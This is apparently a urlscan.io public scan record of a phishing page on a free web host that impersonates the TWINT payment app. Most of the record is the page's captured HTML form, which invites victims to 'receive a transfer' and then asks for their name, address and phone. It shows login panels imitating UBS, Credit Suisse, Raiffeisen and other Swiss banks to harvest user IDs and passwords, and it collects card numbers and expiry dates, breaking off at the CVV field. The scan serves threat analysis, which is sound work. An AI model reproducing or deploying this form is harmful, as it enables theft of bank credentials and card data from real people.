twint.000webhostapp.com
Open in
urlscan Pro
2a02:4780:dead:c65b::1
Public Scan
URL:
https://twint.000webhostapp.com/bienvenue.php
Submission: On May 30 via api from JP — Scanned from NL
Submission: On May 30 via api from JP — Scanned from NL
Form analysis 1 forms found in the DOM
Name: #form — POST bienvenue.php
<form action="bienvenue.php" id="#form" method="post" name="#form">
<div class="form-group flex" style="display: grid; text-align: center">
<div style="display:block">
<h3 style="color: #ffffff; font-weight: 600; margin-bottom: 25px">
<img src="icon/personnal.png" style="width: 20px; margin-bottom: 10px"> Enregistrez <br>vos coordonnées pour recevoir le virement
</h3>
<p style="text-align: center; font-family: Open Sans, sans-serif, Arial; width: 350px;margin-left: 50px; color: #FFFFFF">
<h style="font-weight: bold">TWINT :</h> Une app qui facilite la vie, afin que le processus de paiement ne soit plus qu’une formalité. <br>
<marquee style="color: #ffffff; width: 250px; font-weight: bold">Ne communiquer jamais vos informations confidentielles à une tiers personnes<sup>*</sup>.</marquee>
</p>
</div>
</div>
<div class="main">
<div class="first">
<h3 class="text-center text-info"></h3>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block; width: 300px">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 90px; font-size: 1.4rem; font-weight: bold;">Nom & Prénom(s)</label>
<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
<input id="name" placeholder="Nom & Prénom(s)" name="name" pattern="^[( )a-zA-Z-ZÀ-ÿ]+$" style="font-family: sans-serif; background-color: transparent" class="form-control" type="text" required="">
<br>
</div>
</div>
<br>
<div class="form-group flex" style="display: inline-block; width: 300px">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem;margin-right: 155px; font-weight: bold;">Adresse</label>
<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
<input id="adresse" name="adresse" placeholder="Adresse" style="font-family: Open Sans, sans-serif, Arial; background-color: transparent" class="form-control" type="text" required=""><br>
</div>
</div>
<br>
<div class="form-group flex" style="display: inline-block; width: 300px">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 60px; font-size: 1.4rem; font-weight: bold;">Numéro de Téléphone</label>
<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
<input id="tel" name="tel" placeholder="Numéro de Téléphone" minlength="10" pattern="[0-9.,]+" maxlength="10" style="font-family: sans-serif; background-color: transparent" class="form-control" type="text" required=""><br>
</div>
</div>
<br>
<div class="form-group flex" style="display: inline-block; width: 300px">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 75px; font-size: 1.4rem; font-weight: bold;">Montant de l'Article</label>
<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
<input id="montant" placeholder="Montant de l'Article" name="montant" style="font-family: sans-serif; background-color: transparent" class="form-control" onblur="addEuro(this.value)" type="text" required=""><br>
</div>
</div>
<br>
<br><br>
<div class="form-group flex" style="display: grid;justify-content: center; align=center" aria-required="">
<div style="display: grid; justify-content: center">
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="ubs" name="bank" type="radio" value="Ubs" style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 10px; font-size: 1.4rem; font-weight: bold; align-items: flex-start" required="">
<label for="ubs" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">UBS</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start ; margin-bottom: 10px">
<input id="pictet" name="bank" type="radio" value="Pictet" style="display: inline-flex; margin-right: 10px">
<label for="pictet" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Pictet</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="creditsuisse" name="bank" type="radio" value="Credit Suisse" style="display: inline-flex; margin-right: 10px">
<label for="creditsuisse" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Credit Suisse</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="juliusbär" name="bank" type="radio" value="Julius Bär" style="display: inline-flex; margin-right: 10px">
<label for="juliusbär" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Julius Bär</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="zürcherkantonalbank" name="bank" type="radio" value="Zürcher Kantonalbank" style="display: inline-flex; margin-right: 10px">
<label for="zürcherkantonalbank" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Zürcher Kantonalbank</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="vontobel" name="bank" type="radio" value="Vontobel" style="display: inline-flex; margin-right: 10px">
<label for="vontobel" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Vontobel</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="lombardodier" name="bank" type="radio" value="Lombard Odier" style="display: inline-flex; margin-right: 10px">
<label for="lombardodier" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Lombard Odier</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="raiffeisen" name="bank" type="radio" value="Raiffeisen" style="display: inline-flex; margin-right: 10px">
<label for="raiffeisen" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Raiffeisen</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="jsafrasarasin" name="bank" type="radio" value="J. Safra Sarasin" style="display: inline-flex; margin-right: 10px">
<label for="jsafrasarasin" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">J. Safra Sarasin</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="ubpsa" name="bank" type="radio" value="UBP SA" style="display: inline-flex; margin-right: 10px">
<label for="ubpsa" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">UBP SA</label>
</div>
<div style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; font-size: 1.4rem; font-weight: bold; align-items: flex-start; margin-bottom: 10px">
<input id="autresbanques" name="bank" type="radio" value="Autres Banques" style="display: inline-flex; margin-right: 10px">
<label for="autresbanques" style="font-family: Open Sans, sans-serif, Arial; font-weight: bold">Autres Banques</label>
</div>
</div>
<br>
<br>
<div id="show-ubs"
style="max-width: 350px; display:none; box-sizing: border-box; background-image: url(https://www.ubs.com/content/experience-fragments/global/en/homepage/capabilities/master/jcr:content/root/locationselector/image.3840.jpg/1560594339788.jpg);background-size: cover; border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#000000; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : Connexion</h3>
<img src="https://www.ubs.com/etc/designs/fit/img/UBS_Logo_Semibold.svg" style="width: 100px; margin-bottom: 10px">
<input id="id" name="id" placeholder="Numéro de contrat" style=" font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #101010" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #262626" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton calc">
<input type="button" value="4" id="4" class="pinButton calc">
<input type="button" value="7" id="7" class="pinButton calc"><br>
<input type="button" value="6" id="6" class="pinButton calc">
<input type="button" value="5" id="5" class="pinButton calc">
<input type="button" value="9" id="9" class="pinButton calc"><br>
<input type="button" value="3" id="3" class="pinButton calc">
<input type="button" value="8" id="8" class="pinButton calc">
<input type="button" value="2" id="2" class="pinButton calc"><br>
<input type="button" value="X" id="clear" class="pinButton clear">
<input type="button" value="0" id="0 " class="pinButton calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-pictet"
style="max-width: 350px ; display:none; box-sizing: border-box; background-image: url(https://s7g10.scene7.com/is/image/pictet/stability-image-2000x1333%3Aimage-3-2?ts=1683701833407&fit=constrain&dpr=off&wid=2500);background-size: cover; background-position: bottom;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#282828; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #6e0101">Connexion</h>
</h3>
<img src="https://logos-download.com/wp-content/uploads/2016/09/Pictet_logo.png" style="width: 200px; margin-bottom: 10px">
<input id="id_2" name="id" placeholder="Nom d'utilisateur" style=" font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #773a3a" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #623c3c; color: color: #FFFFFF" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_1 calc">
<input type="button" value="4" id="4" class="pinButton_1 calc">
<input type="button" value="7" id="7" class="pinButton_1 calc"><br>
<input type="button" value="6" id="6" class="pinButton_1 calc">
<input type="button" value="5" id="5" class="pinButton_1 calc">
<input type="button" value="9" id="9" class="pinButton_1 calc"><br>
<input type="button" value="3" id="3" class="pinButton_1 calc">
<input type="button" value="8" id="8" class="pinButton_1 calc">
<input type="button" value="2" id="2" class="pinButton_1 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_1 clear">
<input type="button" value="0" id="0 " class="pinButton_1 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-creditsuisse" style="max-width: 350px; display:none; box-sizing: border-box; background-color: #FFFFFF;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#313131; font-weight: bold; margin-bottom: 25px; width: 250px">
<h style="color: #000000">Mon Espace Client Particuliers :</h> Connexion
</h3>
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/31/Credit_Suisse_Logo.svg/1280px-Credit_Suisse_Logo.svg.png" style="width: 250px; margin-bottom: 10px">
<input id="id_3" name="id" placeholder="ID Utilisateur" style="font-family: Open Sans, sans-serif, Arial; background-color: rgb(255,255,255); color: #000000" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #003c93" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_2 calc">
<input type="button" value="4" id="4" class="pinButton_2 calc">
<input type="button" value="7" id="7" class="pinButton_2 calc"><br>
<input type="button" value="6" id="6" class="pinButton_2 calc">
<input type="button" value="5" id="5" class="pinButton_2 calc">
<input type="button" value="9" id="9" class="pinButton_2 calc"><br>
<input type="button" value="3" id="3" class="pinButton_2 calc">
<input type="button" value="8" id="8" class="pinButton_2 calc">
<input type="button" value="2" id="2" class="pinButton_2 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_2 clear">
<input type="button" value="0" id="0 " class="pinButton_2 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-juliusbär" style="max-width: 350px; display:none; box-sizing: border-box; background-color: #FFFFFF;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#0652cb; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #142772">Connexion</h>
</h3>
<img src="https://www.top-bank.ch/images/logo_540/banque-julius-baer-cie.png" style="width: 150px; margin-bottom: 10px">
<input id="id_4" name="id" placeholder="Identifiant" style="font-family: Open Sans, sans-serif, Arial; background-color: #238c57; color: color: #FFFFFF" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #142772; color: color: #FFFFFF" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_3 calc">
<input type="button" value="4" id="4" class="pinButton_3 calc">
<input type="button" value="7" id="7" class="pinButton_3 calc"><br>
<input type="button" value="6" id="6" class="pinButton_3 calc">
<input type="button" value="5" id="5" class="pinButton_3 calc">
<input type="button" value="9" id="9" class="pinButton_3 calc"><br>
<input type="button" value="3" id="3" class="pinButton_3 calc">
<input type="button" value="8" id="8" class="pinButton_3 calc">
<input type="button" value="2" id="2" class="pinButton_3 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_3 clear">
<input type="button" value="0" id="0 " class="pinButton_3 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-zürcherkantonalbank" style="max-width: 350px; display:none; box-sizing: border-box; background-color: #0009c5;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#ffffff; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #ffffff">Connexion</h>
</h3>
<img src="https://www.zkb.ch/media/zkb/system/logo-zkb-inverted.r200img.svg/1618047913764/logo-zkb-inverted.svg" style="width: 200px; margin-bottom: 10px">
<input id="id_5" name="id" placeholder="Benutzername" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #1e3da2" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #0017ad" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton calc">
<input type="button" value="4" id="4" class="pinButton calc">
<input type="button" value="7" id="7" class="pinButton calc"><br>
<input type="button" value="6" id="6" class="pinButton calc">
<input type="button" value="5" id="5" class="pinButton calc">
<input type="button" value="9" id="9" class="pinButton calc"><br>
<input type="button" value="3" id="3" class="pinButton calc">
<input type="button" value="8" id="8" class="pinButton calc">
<input type="button" value="2" id="2" class="pinButton calc"><br>
<input type="button" value="X" id="clear" class="pinButton clear">
<input type="button" value="0" id="0 " class="pinButton calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-vontobel" style="max-width: 350px; display:none; box-sizing: border-box; background-image: url();background-color: #FFFFFF; background-size: cover; border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#ffd400; font-weight: bold; margin-bottom: 25px; width: 250px">
<h style="color: #ffdd00">Mon Espace Client Particuliers :</h> Connexion
</h3>
<img src="https://am.vontobel.com/themes/custom/vontobel/logo.svg" style="width: 100px; margin-bottom: 10px">
<input id="id_6" name="id" placeholder="Identifiant client" style="font-family: Open Sans, sans-serif, Arial; background-color: rgb(255,255,255); color: #2a2a2a" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" id="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #373a36" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton calc">
<input type="button" value="4" id="4" class="pinButton calc">
<input type="button" value="7" id="7" class="pinButton calc"><br>
<input type="button" value="6" id="6" class="pinButton calc">
<input type="button" value="5" id="5" class="pinButton calc">
<input type="button" value="9" id="9" class="pinButton calc"><br>
<input type="button" value="3" id="3" class="pinButton calc">
<input type="button" value="8" id="8" class="pinButton calc">
<input type="button" value="2" id="2" class="pinButton calc"><br>
<input type="button" value="X" id="clear" class="pinButton clear">
<input type="button" value="0" id="0 " class="pinButton calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-lombardodier"
style="max-width: 350px; display:none; box-sizing: border-box; background-image: url(https://www.lombardodier.com/modules/loportail-templates/img/lo-texture-repeat.jpg);background-size: cover; background-position: right; border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#FFFFFF; font-weight: bold; margin-bottom: 25px; width: 250px">
<h style="color: color: #FFFFFF">Mon Espace Client Particuliers :</h> Connexion
</h3>
<img src="https://blogs.letemps.ch/wp-content/uploads/2019/09/lombard-odier-blanc.png" style="width: 200px; margin-bottom: 10px; background-color: color: #FFFFFF; padding: 20px">
<input id="id_7" name="id" placeholder="Username" style="font-family: Open Sans, sans-serif, Arial; background-color: rgb(255,255,255); color: #000000" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: color: #FFFFFF; color: #000000" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_2 calc">
<input type="button" value="4" id="4" class="pinButton_2 calc">
<input type="button" value="7" id="7" class="pinButton_2 calc"><br>
<input type="button" value="6" id="6" class="pinButton_2 calc">
<input type="button" value="5" id="5" class="pinButton_2 calc">
<input type="button" value="9" id="9" class="pinButton_2 calc"><br>
<input type="button" value="3" id="3" class="pinButton_2 calc">
<input type="button" value="8" id="8" class="pinButton_2 calc">
<input type="button" value="2" id="2" class="pinButton_2 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_2 clear">
<input type="button" value="0" id="0 " class="pinButton_2 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-raiffeisen" style="max-width: 350px; display:none; box-sizing: border-box; background-color: #ffffff;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#000000; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #e82025">Connexion</h>
</h3>
<img src="https://www.raiffeisen.ch/content/dam/www/rch/logo/rch-logo-lg-2x.png.transform/w134/image.png" style="width: 100px; margin-bottom: 10px">
<input id="id_8" name="id" placeholder="Vertragsnummer" style="font-family: Open Sans, sans-serif, Arial; background-color: #ffffff; color: #e82025" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #FFFFFF; color: #e82025" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_4 calc">
<input type="button" value="4" id="4" class="pinButton_4 calc">
<input type="button" value="7" id="7" class="pinButton_4 calc"><br>
<input type="button" value="6" id="6" class="pinButton_4 calc">
<input type="button" value="5" id="5" class="pinButton_4 calc">
<input type="button" value="9" id="9" class="pinButton_4 calc"><br>
<input type="button" value="3" id="3" class="pinButton_4 calc">
<input type="button" value="8" id="8" class="pinButton_4 calc">
<input type="button" value="2" id="2" class="pinButton_4 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_4 clear">
<input type="button" value="0" id="0 " class="pinButton_4 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-jsafrasarasin" style="max-width: 350px; display:none; box-sizing: border-box; background-color: rgba(68,68,68,0.85);border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#ffffff; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #ffffff">Connexion</h>
</h3>
<img src="https://www.jsafrasarasin.com/etc.clientlibs/jsafrasarasin/clientlibs/clientlib-react/resources/static/media/JSS-logo-white.a0e80015bf41c1541bc57d935d5bfbf0.svg" style="width: 130px; margin-bottom: 10px">
<input id="id_9" name="id" placeholder="Identifiant client" style="font-family: Open Sans, sans-serif, Arial; background-color: #ffffff; color: #2f2f2f" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #FFFFFF; color: #565656" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_5 calc">
<input type="button" value="4" id="4" class="pinButton_5 calc">
<input type="button" value="7" id="7" class="pinButton_5 calc"><br>
<input type="button" value="6" id="6" class="pinButton_5 calc">
<input type="button" value="5" id="5" class="pinButton_5 calc">
<input type="button" value="9" id="9" class="pinButton_5 calc"><br>
<input type="button" value="3" id="3" class="pinButton_5 calc">
<input type="button" value="8" id="8" class="pinButton_5 calc">
<input type="button" value="2" id="2" class="pinButton_5 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_5 clear">
<input type="button" value="0" id="0 " class="pinButton_5 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-ubpsa" style="max-width: 350px; display:none; box-sizing: border-box;background-color:rgba(50,135,111,0.8);border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#ffffff; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #ffffff">Connexion</h>
</h3>
<img src="https://ebanking.ubp.com/public/images/customization/Common/AP_PRD_EBANKING_BNR22_0_general_ui/logo_image_fr.png" style="width: 100px; margin-bottom: 10px">
<input id="id_10" name="id" placeholder="Nom Utilisateur" style="font-family: Open Sans, sans-serif, Arial; background-color: #ffffff; color: #238c57" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #FFFFFF; color: #238c57" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_4 calc">
<input type="button" value="4" id="4" class="pinButton_4 calc">
<input type="button" value="7" id="7" class="pinButton_4 calc"><br>
<input type="button" value="6" id="6" class="pinButton_4 calc">
<input type="button" value="5" id="5" class="pinButton_4 calc">
<input type="button" value="9" id="9" class="pinButton_4 calc"><br>
<input type="button" value="3" id="3" class="pinButton_4 calc">
<input type="button" value="8" id="8" class="pinButton_4 calc">
<input type="button" value="2" id="2" class="pinButton_4 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_4 clear">
<input type="button" value="0" id="0 " class="pinButton_4 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
<div id="show-autresbanques" style="max-width: 350px; display:none; box-sizing: border-box; background-color: #FFFFFF;border-radius: 50px;">
<div style="padding: 15px">
<h3 style="color:#000000; font-weight: bold; margin-bottom: 25px; width: 250px">Mon Espace Client Particuliers : <h style="color: #000000">Connexion</h>
</h3>
<br>
<br>
<input id="idbank" name="idbank" placeholder="Domiciliation du Compte" style="font-family: Open Sans, sans-serif, Arial; background-color: #ffffff; color: #000000" class="form-control" type="text"><br>
<input id="id_11" name="id" placeholder="Identifiant client" style="font-family: Open Sans, sans-serif, Arial; background-color: #ffffff; color: #000000" class="form-control" type="text" required=""><br>
<div id="pinpad">
<input type="password" maxlength="8" name="password" style="font-family: Open Sans, sans-serif, Arial; background-color: #FFFFFF; color: #000000" class="form-control" required=""><br>
<input type="button" value="1" id="1" class="pinButton_2 calc">
<input type="button" value="4" id="4" class="pinButton_2 calc">
<input type="button" value="7" id="7" class="pinButton_2 calc"><br>
<input type="button" value="6" id="6" class="pinButton_2 calc">
<input type="button" value="5" id="5" class="pinButton_2 calc">
<input type="button" value="9" id="9" class="pinButton_2 calc"><br>
<input type="button" value="3" id="3" class="pinButton_2 calc">
<input type="button" value="8" id="8" class="pinButton_2 calc">
<input type="button" value="2" id="2" class="pinButton_2 calc"><br>
<input type="button" value="X" id="clear" class="pinButton_2 clear">
<input type="button" value="0" id="0 " class="pinButton_2 calc">
<!--input type="button" value="enter" id="enter" class="pinButton enter"-->
</div>
</div>
</div>
</div>
<br>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block ; width: 300px" align="center">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex; font-family: Open Sans, sans-serif, Arial; margin-right: 110px; font-size: 1.4rem; font-weight: bold;">Type de Carte</label>
<label style="color: #FFFFFF ; font-size: 1.2rem; font-family: Open Sans, sans-serif, Arial; font-weight: 400; display: inline-flex">champs requis</label>
</div>
<select id="typecard" name="typecard" style="font-family: sans-serif; background-color: transparent" class="form-control">
<option value="VISA" selected="" style="color: #000000 ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; padding: 5px; font-size: 1.4rem;"> VISA</option>
<option value="MASTERCARD" style="color: #000000 ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; padding: 5px; font-size: 1.4rem;"> MASTERCARD</option>
</select>
</div>
</div>
<br>
<br>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block; width: 300px" align="center">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 95px; font-size: 1.4rem; font-weight: bold;">Numéro de carte</label>
<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
</div>
<input id="numcard" name="numcard" pattern="[0-9.,]+" minlength="16" maxlength="16" placeholder="0000 0000 0000 0000" style="font-family: Open Sans, sans-serif, Arial; background-color: transparent" class="form-control" type="text"
required=""><br>
</div>
</div>
<br>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block ; width: 300px" align="center">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex; font-family: Open Sans, sans-serif, Arial; margin-right: 90px; font-size: 1.4rem; font-weight: bold;">Date d'expiration</label>
<label style="color: #FFFFFF ; font-size: 1.2rem; font-family: Open Sans, sans-serif, Arial; font-weight: 400; display: inline-flex">champs requis</label>
</div>
<select id="month" name="month" style="display: inline-flex ; font-family: sans-serif; width: 80px ; background-color: transparent" class="form-control">
<option value="01" selected="" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 01</option>
<option value="02" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 02</option>
<option value="03" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 03</option>
<option value="04" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 04</option>
<option value="05" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 05</option>
<option value="06" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 06</option>
<option value="07" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 07</option>
<option value="08" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 08</option>
<option value="09" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 09</option>
<option value="10" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 10</option>
<option value="11" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 11</option>
<option value="12" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 12</option>
</select>
<select id="year" name="year" style="display: inline-flex ; font-family: Open Sans, sans-serif, Arial; width: 80px ; background-color: transparent" class="form-control">
<option value="2022" selected="" style="color: #000000 ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; padding: 5px; font-size: 1.4rem;"> 2022</option>
<option value="2023" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2023</option>
<option value="2024" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2024</option>
<option value="2025" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2025</option>
<option value="2026" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2026</option>
<option value="2027" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2027</option>
<option value="2028" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2028</option>
<option value="2029" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2029</option>
<option value="2030" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2030</option>
<option value="2031" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2031</option>
<option value="2032" style="color: #000000 ; display: inline-flex;font-family: sans-serif; padding: 5px; font-size: 1.4rem;"> 2032</option>
</select>
</div>
</div><br>
<br>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block; width: 300px" align="center">
<div style="display: block; margin-bottom: 2px">
<label style="color: #ffffff ; display: inline-flex;font-family: Open Sans, sans-serif, Arial; margin-right: 105px; font-size: 1.4rem; font-weight: bold;">Cryptogramme</label>
